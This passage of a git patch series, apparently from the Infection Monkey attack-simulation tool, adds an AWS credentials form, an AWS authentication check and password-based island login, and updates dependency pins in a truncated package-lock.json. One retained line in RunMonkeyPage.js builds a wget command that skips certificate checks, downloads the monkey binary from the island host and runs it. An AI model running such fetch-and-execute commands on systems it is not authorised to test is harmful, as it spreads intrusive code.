b/monkey/monkey_island/cc/services/remote_run_aws.py @@ -10,6 +10,7 @@ __author__ = "itay.mizeretz" class RemoteRunAwsService: aws_instance = None + is_auth = False def __init__(self): pass @@ -48,13 +49,19 @@ class RemoteRunAwsService: def update_aws_auth_params(): """ Updates the AWS authentication parameters according to config - :return: None + :return: True if new params allow successful authentication. False otherwise """ access_key_id = ConfigService.get_config_value(['cnc', 'aws_config', 'aws_access_key_id'], False, True) secret_access_key = ConfigService.get_config_value(['cnc', 'aws_config', 'aws_secret_access_key'], False, True) - AwsService.set_auth_params(access_key_id, secret_access_key) + + if (access_key_id != AwsService.access_key_id) or (secret_access_key != AwsService.secret_access_key): + AwsService.set_auth_params(access_key_id, secret_access_key) + RemoteRunAwsService.is_auth = AwsService.test_client() + AwsService.set_region(RemoteRunAwsService.aws_instance.region) + return RemoteRunAwsService.is_auth + @staticmethod def get_bitness(instances): """ From 48ae805458a6576fac6509c1547cea8b30471c35 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 6 Feb 2019 14:29:02 +0200 Subject: [PATCH 133/201] Add AWS credentials configuration on run monkey page --- .../ui/src/components/pages/RunMonkeyPage.js | 192 ++++++++++++++---- 1 file changed, 156 insertions(+), 36 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js index e90292406..aefa19921 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js @@ -1,5 +1,5 @@ import React from 'react'; -import {Button, Col, Well, Nav, NavItem, Collapse} from 'react-bootstrap'; +import {Button, Col, Well, Nav, NavItem, Collapse, Form, FormControl, FormGroup} from 'react-bootstrap'; import CopyToClipboard from 'react-copy-to-clipboard'; import {Icon} from 'react-fa'; import {Link} from 'react-router-dom'; @@ -20,8 +20,13 @@ class RunMonkeyPageComponent extends AuthComponent { showManual: false, showAws: false, isOnAws: false, + isAwsAuth: false, + awsUpdateClicked: false, + awsUpdateFailed: false, + awsKeyId: '', + awsSecretKey: '', awsMachines: [] - }; + }; } componentDidMount() { @@ -42,16 +47,13 @@ class RunMonkeyPageComponent extends AuthComponent { } }); - this.authFetch('/api/remote-monkey?action=list_aws') - .then(res => res.json()) - .then(res =>{ - let is_aws = res['is_aws']; - if (is_aws) { - let instances = res['instances']; - if (instances) { - this.setState({isOnAws: true, awsMachines: instances}); - } - } + this.fetchAwsInfo(); + this.fetchConfig() + .then(config => { + this.setState({ + awsKeyId: config['cnc']['aws_config']['aws_access_key_id'], + awsSecretKey: config['cnc']['aws_config']['aws_secret_access_key'] + }); }); this.authFetch('/api/client-monkey') @@ -67,6 +69,17 @@ class RunMonkeyPageComponent extends AuthComponent { this.props.onStatusChange(); } + fetchAwsInfo() { + return this.authFetch('/api/remote-monkey?action=list_aws') + .then(res => res.json()) + .then(res =>{ + let is_aws = res['is_aws']; + if (is_aws) { + this.setState({isOnAws: true, awsMachines: res['instances'], isAwsAuth: res['auth']}); + } + }); + } + generateLinuxCmd(ip, is32Bit) { let bitText = is32Bit ? '32' : '64'; return `wget --no-check-certificate https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000` @@ -192,6 +205,60 @@ class RunMonkeyPageComponent extends AuthComponent { }); }; + updateAwsKeyId = (evt) => { + this.setState({ + awsKeyId: evt.target.value + }); + }; + + updateAwsSecretKey = (evt) => { + this.setState({ + awsSecretKey: evt.target.value + }); + }; + + fetchConfig() { + return this.authFetch('/api/configuration/island') + .then(res => res.json()) + .then(res => { + return res.configuration; + }) + } + + updateAwsKeys = () => { + this.setState({ + awsUpdateClicked: true, + awsUpdateFailed: false + }); + this.fetchConfig() + .then(config => { + let new_config = config; + new_config['cnc']['aws_config']['aws_access_key_id'] = this.state.awsKeyId; + new_config['cnc']['aws_config']['aws_secret_access_key'] = this.state.awsSecretKey; + return new_config; + }) + .then(new_config => { + this.authFetch('/api/configuration/island', + { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify(new_config) + }) + .then(res => res.json()) + .then(res => { + this.fetchAwsInfo() + .then(res => { + if (!this.state.isAwsAuth) { + this.setState({ + awsUpdateClicked: false, + awsUpdateFailed: true + }) + } + }); + }); + }); + }; + instanceIdToInstance = (instance_id) => { let instance = this.state.awsMachines.find( function (inst) { @@ -201,6 +268,80 @@ class RunMonkeyPageComponent extends AuthComponent { }; + renderAuthAwsDiv() { + return ( +
    +

    + Select Island IP address +

    + { + this.state.ips.length > 1 ? + + :
    + } + + (this.awsTable = r)} + /> +
    + +
    +
    + ) + } + + renderNotAuthAwsDiv() { + return ( +
    +

    + You haven't set your AWS account details or they're incorrect. Please enter them below to proceed. +

    +
    +
    +
    +
    +
    +
    + this.updateAwsKeyId(evt)}/> + this.updateAwsSecretKey(evt)}/> + + { + this.state.awsUpdateFailed ? +
    Authentication failed. Bad credentials.
    + : + null + } +
    +
    +
    +
    +
    +
    +
    + ) + } + render() { return ( @@ -282,31 +423,10 @@ class RunMonkeyPageComponent extends AuthComponent { null } -
    -

    - Select server IP address -

    - { - this.state.ips.length > 1 ? - - :
    - } + { + this.state.isAwsAuth ? this.renderAuthAwsDiv() : this.renderNotAuthAwsDiv() + } - (this.awsTable = r)} - /> - -

    From 49cf693197378c1852bda5ea0c9797aa8232ed8c Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 6 Feb 2019 18:40:16 +0200 Subject: [PATCH 134/201] Add option for password authentication with island Replace PyCrypto with Cryptodome --- .../infection_monkey/requirements_linux.txt | 2 +- .../infection_monkey/requirements_windows.txt | 2 +- .../monkey_island/cc/environment/__init__.py | 12 + monkey/monkey_island/cc/environment/aws.py | 4 +- .../cc/environment/environment.py | 18 +- .../monkey_island/cc/environment/password.py | 15 + monkey/monkey_island/cc/ui/package-lock.json | 6136 +++++++++-------- monkey/monkey_island/cc/ui/package.json | 3 +- .../cc/ui/src/server_config/PasswordConfig.js | 9 + .../cc/ui/src/server_config/ServerConfig.js | 4 +- .../cc/ui/src/services/AuthService.js | 14 +- .../monkey_island_pip_requirements.txt | 2 +- monkey/monkey_island/requirements.txt | 2 +- 13 files changed, 3142 insertions(+), 3081 deletions(-) create mode 100644 monkey/monkey_island/cc/environment/password.py create mode 100644 monkey/monkey_island/cc/ui/src/server_config/PasswordConfig.js diff --git a/monkey/infection_monkey/requirements_linux.txt b/monkey/infection_monkey/requirements_linux.txt index 2351d9ecc..f223158fe 100644 --- a/monkey/infection_monkey/requirements_linux.txt +++ b/monkey/infection_monkey/requirements_linux.txt @@ -1,6 +1,6 @@ enum34 impacket -PyCrypto +pycryptodome pyasn1 cffi twisted diff --git a/monkey/infection_monkey/requirements_windows.txt b/monkey/infection_monkey/requirements_windows.txt index 5b9299c8c..5ec5ebbb9 100644 --- a/monkey/infection_monkey/requirements_windows.txt +++ b/monkey/infection_monkey/requirements_windows.txt @@ -1,6 +1,6 @@ enum34 impacket -PyCrypto +pycryptodome pyasn1 cffi twisted diff --git a/monkey/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py index e957d8494..d29d558a6 100644 --- a/monkey/monkey_island/cc/environment/__init__.py +++ b/monkey/monkey_island/cc/environment/__init__.py @@ -1,6 +1,7 @@ import abc from datetime import timedelta import os +from Crypto.Hash import SHA3_512 __author__ = 'itay.mizeretz' @@ -13,6 +14,12 @@ class Environment(object): _DEBUG_SERVER = False _AUTH_EXPIRATION_TIME = timedelta(hours=1) + def __init__(self): + self.config = None + + def set_config(self, config): + self.config = config + def get_island_port(self): return self._ISLAND_PORT @@ -25,6 +32,11 @@ class Environment(object): def get_auth_expiration_time(self): return self._AUTH_EXPIRATION_TIME + def hash_secret(self, secret): + h = SHA3_512.new() + h.update(secret) + return h.hexdigest() + @abc.abstractmethod def is_auth_enabled(self): return diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py index a004a2540..fc048443f 100644 --- a/monkey/monkey_island/cc/environment/aws.py +++ b/monkey/monkey_island/cc/environment/aws.py @@ -1,7 +1,7 @@ import cc.auth from cc.environment import Environment from common.cloud.aws import AWS - +from Crypto.Hash import SHA3_512 __author__ = 'itay.mizeretz' @@ -23,5 +23,5 @@ class AwsEnvironment(Environment): def get_auth_users(self): return [ - cc.auth.User(1, 'monkey', self._instance_id) + cc.auth.User(1, 'monkey', self.hash_secret(self._instance_id)) ] diff --git a/monkey/monkey_island/cc/environment/environment.py b/monkey/monkey_island/cc/environment/environment.py index c15e70257..27413a98c 100644 --- a/monkey/monkey_island/cc/environment/environment.py +++ b/monkey/monkey_island/cc/environment/environment.py @@ -1,16 +1,22 @@ import json import logging -import standard -import aws + +from cc.environment import standard +from cc.environment import aws +from cc.environment import password + +__author__ = 'itay.mizeretz' logger = logging.getLogger(__name__) AWS = 'aws' STANDARD = 'standard' +PASSWORD = 'password' ENV_DICT = { - 'standard': standard.StandardEnvironment, - 'aws': aws.AwsEnvironment + STANDARD: standard.StandardEnvironment, + AWS: aws.AwsEnvironment, + PASSWORD: password.PasswordEnvironment, } @@ -25,8 +31,10 @@ def load_env_from_file(): return config_json['server_config'] try: - __env_type = load_env_from_file() + config_json = load_server_configuration_from_file() + __env_type = config_json['server_config'] env = ENV_DICT[__env_type]() + env.set_config(config_json) logger.info('Monkey\'s env is: {0}'.format(env.__class__.__name__)) except Exception: logger.error('Failed initializing environment', exc_info=True) diff --git a/monkey/monkey_island/cc/environment/password.py b/monkey/monkey_island/cc/environment/password.py new file mode 100644 index 000000000..96ca043b8 --- /dev/null +++ b/monkey/monkey_island/cc/environment/password.py @@ -0,0 +1,15 @@ +from cc.environment import Environment +import cc.auth + +__author__ = 'itay.mizeretz' + + +class PasswordEnvironment(Environment): + + def is_auth_enabled(self): + return True + + def get_auth_users(self): + return [ + cc.auth.User(1, self.config['user'], self.config['hash']) + ] diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 13f5adf4e..30c37db74 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -19,10 +19,10 @@ "dev": true, "requires": { "@babel/types": "7.0.0-beta.44", - "jsesc": "^2.5.1", - "lodash": "^4.2.0", - "source-map": "^0.5.0", - "trim-right": "^1.0.1" + "jsesc": "2.5.1", + "lodash": "4.17.10", + "source-map": "0.5.6", + "trim-right": "1.0.1" }, "dependencies": { "jsesc": { @@ -68,9 +68,9 @@ "integrity": "sha512-Il19yJvy7vMFm8AVAh6OZzaFoAd0hbkeMZiX3P5HGD+z7dyI7RzndHB0dg6Urh/VAFfHtpOIzDUSxmY6coyZWQ==", "dev": true, "requires": { - "chalk": "^2.0.0", - "esutils": "^2.0.2", - "js-tokens": "^3.0.0" + "chalk": "2.4.1", + "esutils": "2.0.2", + "js-tokens": "3.0.2" }, "dependencies": { "ansi-styles": { @@ -79,7 +79,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "^1.9.0" + "color-convert": "1.9.0" } }, "chalk": { @@ -88,9 +88,9 @@ "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", "dev": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.4.0" } }, "has-flag": { @@ -105,7 +105,7 @@ "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "3.0.0" } } } @@ -115,7 +115,7 @@ "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.1.5.tgz", "integrity": "sha512-xKnPpXG/pvK1B90JkwwxSGii90rQGKtzcMt2gI5G6+M0REXaq6rOHsGC2ay6/d0Uje7zzvSzjEzfR3ENhFlrfA==", "requires": { - "regenerator-runtime": "^0.12.0" + "regenerator-runtime": "0.12.1" }, "dependencies": { "regenerator-runtime": { @@ -130,8 +130,8 @@ "resolved": "https://registry.npmjs.org/@babel/runtime-corejs2/-/runtime-corejs2-7.1.5.tgz", "integrity": "sha512-WsYRwQsFhVmxkAqwypPTZyV9GpkqMEaAr2zOItOmqSX2GBFaI+eq98CN81e13o0zaUKJOQGYyjhNVqj56nnkYg==", "requires": { - "core-js": "^2.5.7", - "regenerator-runtime": "^0.12.0" + "core-js": "2.5.7", + "regenerator-runtime": "0.12.1" }, "dependencies": { "regenerator-runtime": { @@ -150,7 +150,7 @@ "@babel/code-frame": "7.0.0-beta.44", "@babel/types": "7.0.0-beta.44", "babylon": "7.0.0-beta.44", - "lodash": "^4.2.0" + "lodash": "4.17.10" }, "dependencies": { "babylon": { @@ -173,10 +173,10 @@ "@babel/helper-split-export-declaration": "7.0.0-beta.44", "@babel/types": "7.0.0-beta.44", "babylon": "7.0.0-beta.44", - "debug": "^3.1.0", - "globals": "^11.1.0", - "invariant": "^2.2.0", - "lodash": "^4.2.0" + "debug": "3.1.0", + "globals": "11.7.0", + "invariant": "2.2.2", + "lodash": "4.17.10" }, "dependencies": { "babylon": { @@ -208,9 +208,9 @@ "integrity": "sha512-5eTV4WRmqbaFM3v9gHAIljEQJU4Ssc6fxL61JN+Oe2ga/BwyjzjamwkCVVAQjHGuAX8i0BWo42dshL8eO5KfLQ==", "dev": true, "requires": { - "esutils": "^2.0.2", - "lodash": "^4.2.0", - "to-fast-properties": "^2.0.0" + "esutils": "2.0.2", + "lodash": "4.17.10", + "to-fast-properties": "2.0.0" }, "dependencies": { "to-fast-properties": { @@ -295,7 +295,7 @@ "integrity": "sha512-tOarWChdG1a3y1yqCX0JMDKzrat5tQe4pV6K/TX19BcXsBLYxFQOL1DEDa5KG9syeyvCrvZ+i1+Mv1ExngvktQ==", "dev": true, "requires": { - "@xtuc/ieee754": "^1.2.0" + "@xtuc/ieee754": "1.2.0" } }, "@webassemblyjs/leb128": { @@ -417,7 +417,7 @@ "integrity": "sha1-63d99gEXI6OxTopywIBcjoZ0a9I=", "dev": true, "requires": { - "mime-types": "~2.1.18", + "mime-types": "2.1.19", "negotiator": "0.6.1" }, "dependencies": { @@ -433,7 +433,7 @@ "integrity": "sha512-P1tKYHVSZ6uFo26mtnve4HQFE3koh1UWVkp8YUC+ESBHe945xWSoXuHHiGarDqcEZ+whpCDnlNw5LON0kLo+sw==", "dev": true, "requires": { - "mime-db": "~1.35.0" + "mime-db": "1.35.0" } } } @@ -450,7 +450,7 @@ "integrity": "sha512-zVWV8Z8lislJoOKKqdNMOB+s6+XV5WERty8MnKBeFgwA+19XJjJHs2RP5dzM57FftIs+jQnRToLiWazKr6sSWg==", "dev": true, "requires": { - "acorn": "^5.0.0" + "acorn": "5.7.3" } }, "acorn-jsx": { @@ -459,7 +459,7 @@ "integrity": "sha512-JY+iV6r+cO21KtntVvFkD+iqjtdpRUpGqKWgfkCdZq1R+kbreEl8EcdcJR4SmiIgsIQT33s6QzheQ9a275Q8xw==", "dev": true, "requires": { - "acorn": "^5.0.3" + "acorn": "5.7.3" } }, "after": { @@ -474,10 +474,10 @@ "integrity": "sha512-hOs7GfvI6tUI1LfZddH82ky6mOMyTuY0mk7kE2pWpmhhUSkumzaTO5vbVwij39MdwPQWCV4Zv57Eo06NtL/GVA==", "dev": true, "requires": { - "fast-deep-equal": "^2.0.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.1" + "fast-deep-equal": "2.0.1", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.4.1", + "uri-js": "4.2.2" }, "dependencies": { "fast-deep-equal": { @@ -512,9 +512,9 @@ "integrity": "sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=", "dev": true, "requires": { - "kind-of": "^3.0.2", - "longest": "^1.0.1", - "repeat-string": "^1.5.2" + "kind-of": "3.2.2", + "longest": "1.0.1", + "repeat-string": "1.6.1" } }, "amdefine": { @@ -560,8 +560,8 @@ "dev": true, "optional": true, "requires": { - "micromatch": "^2.1.5", - "normalize-path": "^2.0.0" + "micromatch": "2.3.11", + "normalize-path": "2.1.1" } }, "aproba": { @@ -576,7 +576,7 @@ "integrity": "sha1-c9g7wmP4bpf4zE9rrhsOkKfSLIY=", "dev": true, "requires": { - "sprintf-js": "~1.0.2" + "sprintf-js": "1.0.3" } }, "arr-diff": { @@ -586,13 +586,13 @@ "dev": true, "optional": true, "requires": { - "arr-flatten": "^1.0.1" + "arr-flatten": "1.1.0" } }, "arr-flatten": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", - "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", + "integrity": "sha1-NgSLv/TntH4TZkQxbJlmnqWukfE=", "dev": true }, "arr-union": { @@ -619,8 +619,8 @@ "integrity": "sha1-GEtI9i2S10UrsxsyMWXH+L0CJm0=", "dev": true, "requires": { - "define-properties": "^1.1.2", - "es-abstract": "^1.7.0" + "define-properties": "1.1.3", + "es-abstract": "1.12.0" } }, "array-slice": { @@ -635,7 +635,7 @@ "integrity": "sha1-mjRBDk9OPaI96jdb5b5w8kd47Dk=", "dev": true, "requires": { - "array-uniq": "^1.0.1" + "array-uniq": "1.0.3" } }, "array-uniq": { @@ -674,9 +674,9 @@ "integrity": "sha512-p32cOF5q0Zqs9uBiONKYLm6BClCoBCM5O9JfeUSlnQLBTxYdTK+pW+nXflm8UkKd2UYlEbYz5qEi0JuZR9ckSw==", "dev": true, "requires": { - "bn.js": "^4.0.0", - "inherits": "^2.0.1", - "minimalistic-assert": "^1.0.0" + "bn.js": "4.11.8", + "inherits": "2.0.3", + "minimalistic-assert": "1.0.1" } }, "assert": { @@ -777,21 +777,21 @@ "integrity": "sha1-UCq1SHTX24itALiHoGODzgPQAvE=", "dev": true, "requires": { - "babel-core": "^6.26.0", - "babel-polyfill": "^6.26.0", - "babel-register": "^6.26.0", - "babel-runtime": "^6.26.0", - "chokidar": "^1.6.1", - "commander": "^2.11.0", - "convert-source-map": "^1.5.0", - "fs-readdir-recursive": "^1.0.0", - "glob": "^7.1.2", - "lodash": "^4.17.4", - "output-file-sync": "^1.1.2", - "path-is-absolute": "^1.0.1", - "slash": "^1.0.0", - "source-map": "^0.5.6", - "v8flags": "^2.1.1" + "babel-core": "6.26.3", + "babel-polyfill": "6.26.0", + "babel-register": "6.26.0", + "babel-runtime": "6.26.0", + "chokidar": "1.7.0", + "commander": "2.15.1", + "convert-source-map": "1.5.1", + "fs-readdir-recursive": "1.1.0", + "glob": "7.1.3", + "lodash": "4.17.10", + "output-file-sync": "1.1.2", + "path-is-absolute": "1.0.1", + "slash": "1.0.0", + "source-map": "0.5.6", + "v8flags": "2.1.1" }, "dependencies": { "babel-runtime": { @@ -800,8 +800,8 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "^2.4.0", - "regenerator-runtime": "^0.11.0" + "core-js": "2.5.7", + "regenerator-runtime": "0.11.1" } }, "regenerator-runtime": { @@ -818,9 +818,9 @@ "integrity": "sha1-AnYgvuVnqIwyVhV05/0IAdMxGOQ=", "dev": true, "requires": { - "chalk": "^1.1.0", - "esutils": "^2.0.2", - "js-tokens": "^3.0.0" + "chalk": "1.1.3", + "esutils": "2.0.2", + "js-tokens": "3.0.2" } }, "babel-core": { @@ -829,25 +829,25 @@ "integrity": "sha512-6jyFLuDmeidKmUEb3NM+/yawG0M2bDZ9Z1qbZP59cyHLz8kYGKYwpJP0UwUKKUiTRNvxfLesJnTedqczP7cTDA==", "dev": true, "requires": { - "babel-code-frame": "^6.26.0", - "babel-generator": "^6.26.0", - "babel-helpers": "^6.24.1", - "babel-messages": "^6.23.0", - "babel-register": "^6.26.0", - "babel-runtime": "^6.26.0", - "babel-template": "^6.26.0", - "babel-traverse": "^6.26.0", - "babel-types": "^6.26.0", - "babylon": "^6.18.0", - "convert-source-map": "^1.5.1", - "debug": "^2.6.9", - "json5": "^0.5.1", - "lodash": "^4.17.4", - "minimatch": "^3.0.4", - "path-is-absolute": "^1.0.1", - "private": "^0.1.8", - "slash": "^1.0.0", - "source-map": "^0.5.7" + "babel-code-frame": "6.26.0", + "babel-generator": "6.26.1", + "babel-helpers": "6.24.1", + "babel-messages": "6.23.0", + "babel-register": "6.26.0", + "babel-runtime": "6.26.0", + "babel-template": "6.26.0", + "babel-traverse": "6.26.0", + "babel-types": "6.26.0", + "babylon": "6.18.0", + "convert-source-map": "1.5.1", + "debug": "2.6.9", + "json5": "0.5.1", + "lodash": "4.17.10", + "minimatch": "3.0.4", + "path-is-absolute": "1.0.1", + "private": "0.1.8", + "slash": "1.0.0", + "source-map": "0.5.7" }, "dependencies": { "babel-code-frame": { @@ -856,9 +856,9 @@ "integrity": "sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=", "dev": true, "requires": { - "chalk": "^1.1.3", - "esutils": "^2.0.2", - "js-tokens": "^3.0.2" + "chalk": "1.1.3", + "esutils": "2.0.2", + "js-tokens": "3.0.2" } }, "babel-runtime": { @@ -867,8 +867,8 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "^2.4.0", - "regenerator-runtime": "^0.11.0" + "core-js": "2.5.7", + "regenerator-runtime": "0.11.1" } }, "babel-template": { @@ -877,11 +877,11 @@ "integrity": "sha1-3gPi0WOWsGn0bdn/+FIfsaDjXgI=", "dev": true, "requires": { - "babel-runtime": "^6.26.0", - "babel-traverse": "^6.26.0", - "babel-types": "^6.26.0", - "babylon": "^6.18.0", - "lodash": "^4.17.4" + "babel-runtime": "6.26.0", + "babel-traverse": "6.26.0", + "babel-types": "6.26.0", + "babylon": "6.18.0", + "lodash": "4.17.10" } }, "babel-traverse": { @@ -890,15 +890,15 @@ "integrity": "sha1-RqnL1+3MYsjlwGTi0tjQ9ANXZu4=", "dev": true, "requires": { - "babel-code-frame": "^6.26.0", - "babel-messages": "^6.23.0", - "babel-runtime": "^6.26.0", - "babel-types": "^6.26.0", - "babylon": "^6.18.0", - "debug": "^2.6.8", - "globals": "^9.18.0", - "invariant": "^2.2.2", - "lodash": "^4.17.4" + "babel-code-frame": "6.26.0", + "babel-messages": "6.23.0", + "babel-runtime": "6.26.0", + "babel-types": "6.26.0", + "babylon": "6.18.0", + "debug": "2.6.9", + "globals": "9.18.0", + "invariant": "2.2.2", + "lodash": "4.17.10" } }, "babel-types": { @@ -907,10 +907,10 @@ "integrity": "sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=", "dev": true, "requires": { - "babel-runtime": "^6.26.0", - "esutils": "^2.0.2", - "lodash": "^4.17.4", - "to-fast-properties": "^1.0.3" + "babel-runtime": "6.26.0", + "esutils": "2.0.2", + "lodash": "4.17.10", + "to-fast-properties": "1.0.3" } }, "babylon": { @@ -959,7 +959,7 @@ "@babel/types": "7.0.0-beta.44", "babylon": "7.0.0-beta.44", "eslint-scope": "3.7.1", - "eslint-visitor-keys": "^1.0.0" + "eslint-visitor-keys": "1.0.0" }, "dependencies": { "babylon": { @@ -976,14 +976,14 @@ "integrity": "sha512-HyfwY6ApZj7BYTcJURpM5tznulaBvyio7/0d4zFOeMPUmfxkCjHocCuoLa2SAGzBI8AREcH3eP3758F672DppA==", "dev": true, "requires": { - "babel-messages": "^6.23.0", - "babel-runtime": "^6.26.0", - "babel-types": "^6.26.0", - "detect-indent": "^4.0.0", - "jsesc": "^1.3.0", - "lodash": "^4.17.4", - "source-map": "^0.5.7", - "trim-right": "^1.0.1" + "babel-messages": "6.23.0", + "babel-runtime": "6.26.0", + "babel-types": "6.26.0", + "detect-indent": "4.0.0", + "jsesc": "1.3.0", + "lodash": "4.17.10", + "source-map": "0.5.7", + "trim-right": "1.0.1" }, "dependencies": { "babel-runtime": { @@ -992,8 +992,8 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "^2.4.0", - "regenerator-runtime": "^0.11.0" + "core-js": "2.5.7", + "regenerator-runtime": "0.11.1" } }, "babel-types": { @@ -1002,10 +1002,10 @@ "integrity": "sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=", "dev": true, "requires": { - "babel-runtime": "^6.26.0", - "esutils": "^2.0.2", - "lodash": "^4.17.4", - "to-fast-properties": "^1.0.3" + "babel-runtime": "6.26.0", + "esutils": "2.0.2", + "lodash": "4.17.10", + "to-fast-properties": "1.0.3" } }, "regenerator-runtime": { @@ -1028,9 +1028,9 @@ "integrity": "sha1-FMGeXxQte0fxmlJDHlKxzLxAozA=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" + "babel-runtime": "6.25.0", + "babel-traverse": "6.25.0", + "babel-types": "6.25.0" } }, "babel-helper-builder-binary-assignment-operator-visitor": { @@ -1039,9 +1039,9 @@ "integrity": "sha1-zORReto1b0IgvK6KAsKzRvmlZmQ=", "dev": true, "requires": { - "babel-helper-explode-assignable-expression": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" + "babel-helper-explode-assignable-expression": "6.24.1", + "babel-runtime": "6.25.0", + "babel-types": "6.25.0" } }, "babel-helper-builder-react-jsx": { @@ -1050,9 +1050,9 @@ "integrity": "sha1-Of+DE7dci2Xc7/HzHTg+D/KkCKA=", "dev": true, "requires": { - "babel-runtime": "^6.26.0", - "babel-types": "^6.26.0", - "esutils": "^2.0.2" + "babel-runtime": "6.26.0", + "babel-types": "6.26.0", + "esutils": "2.0.2" }, "dependencies": { "babel-runtime": { @@ -1061,8 +1061,8 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "^2.4.0", - "regenerator-runtime": "^0.11.0" + "core-js": "2.5.7", + "regenerator-runtime": "0.11.1" } }, "babel-types": { @@ -1071,10 +1071,10 @@ "integrity": "sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=", "dev": true, "requires": { - "babel-runtime": "^6.26.0", - "esutils": "^2.0.2", - "lodash": "^4.17.4", - "to-fast-properties": "^1.0.3" + "babel-runtime": "6.26.0", + "esutils": "2.0.2", + "lodash": "4.17.10", + "to-fast-properties": "1.0.3" } }, "regenerator-runtime": { @@ -1091,10 +1091,10 @@ "integrity": "sha1-7Oaqzdx25Bw0YfiL/Fdb0Nqi340=", "dev": true, "requires": { - "babel-helper-hoist-variables": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" + "babel-helper-hoist-variables": "6.24.1", + "babel-runtime": "6.25.0", + "babel-traverse": "6.25.0", + "babel-types": "6.25.0" } }, "babel-helper-define-map": { @@ -1103,10 +1103,10 @@ "integrity": "sha1-epdH8ljYlH0y1RX2qhx70CIEoIA=", "dev": true, "requires": { - "babel-helper-function-name": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1", - "lodash": "^4.2.0" + "babel-helper-function-name": "6.24.1", + "babel-runtime": "6.25.0", + "babel-types": "6.25.0", + "lodash": "4.17.10" } }, "babel-helper-explode-assignable-expression": { @@ -1115,9 +1115,9 @@ "integrity": "sha1-8luCz33BBDPFX3BZLVdGQArCLKo=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" + "babel-runtime": "6.25.0", + "babel-traverse": "6.25.0", + "babel-types": "6.25.0" } }, "babel-helper-explode-class": { @@ -1126,10 +1126,10 @@ "integrity": "sha1-fcKjkQ3uAHBW4eMdZAztPVTqqes=", "dev": true, "requires": { - "babel-helper-bindify-decorators": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" + "babel-helper-bindify-decorators": "6.24.1", + "babel-runtime": "6.25.0", + "babel-traverse": "6.25.0", + "babel-types": "6.25.0" } }, "babel-helper-function-name": { @@ -1138,11 +1138,11 @@ "integrity": "sha1-00dbjAPtmCQqJbSDUasYOZ01gKk=", "dev": true, "requires": { - "babel-helper-get-function-arity": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" + "babel-helper-get-function-arity": "6.24.1", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0", + "babel-traverse": "6.25.0", + "babel-types": "6.25.0" } }, "babel-helper-get-function-arity": { @@ -1151,8 +1151,8 @@ "integrity": "sha1-j3eCqpNAfEHTqlCQj4mwMbG2hT0=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" + "babel-runtime": "6.25.0", + "babel-types": "6.25.0" } }, "babel-helper-hoist-variables": { @@ -1161,8 +1161,8 @@ "integrity": "sha1-HssnaJydJVE+rbyZFKc/VAi+enY=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" + "babel-runtime": 